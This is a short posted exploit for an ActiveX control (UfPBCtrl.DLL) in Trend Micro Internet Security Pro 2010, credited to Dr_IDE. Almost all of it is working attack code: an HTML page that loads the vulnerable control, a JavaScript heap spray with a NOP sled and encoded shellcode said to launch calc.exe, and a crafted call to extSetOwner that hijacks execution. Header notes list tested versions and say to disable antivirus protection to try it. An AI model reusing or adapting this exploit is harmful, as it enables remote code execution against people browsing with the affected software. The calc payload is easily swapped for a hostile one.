Trend Micro Internet Security 2010 ActiveX Remote Exploit (UfPBCtrl.DLL)

[Gonzalez]

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<!--
Title:      Trend Micro Internet Security Pro 2010 ActiveX Unicode
Remote Exploit
Version:    UfPBCtrl.DLL ver 17.50.0.1366 (XPSP3 English)
Version:    UfPBCtrl.dll ver 17.50.0.1647 (XPSP3 English) -- Hotfix release
Coded By:   Dr_IDE
Credits:    Abyssec
Tested:     XPSP3 English + IE7
Link:       www.trendmicro.com
Notes:      I only researched/posted this because the original did not
work for me. Perhaps it's a windows language thing?
Notes:      If you want to try this locally you need to disable the
"Protection Against Viruses & Spyware" option.
-->

<object ID='target' classid='clsid:15DBC3F9-9F0A-472E-8061-
043D9CEC52F0'></object>
<script>

//payload is windows/exec cmd=calc.exe

shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;

while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);

while( block.length+ slackspace<0x50000) block= block+ block+
fillblock;
memory=new Array();

for( counter=0; counter<200; counter++) memory[counter]= block +
shellcode;

target.extSetOwner(unescape('%u50A1%u00C7'));
//IEFRAME.DLL [0x00c750a6] = 0a0a0a0a (perfect?), we send just
behind it

</script>

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-Gonzalez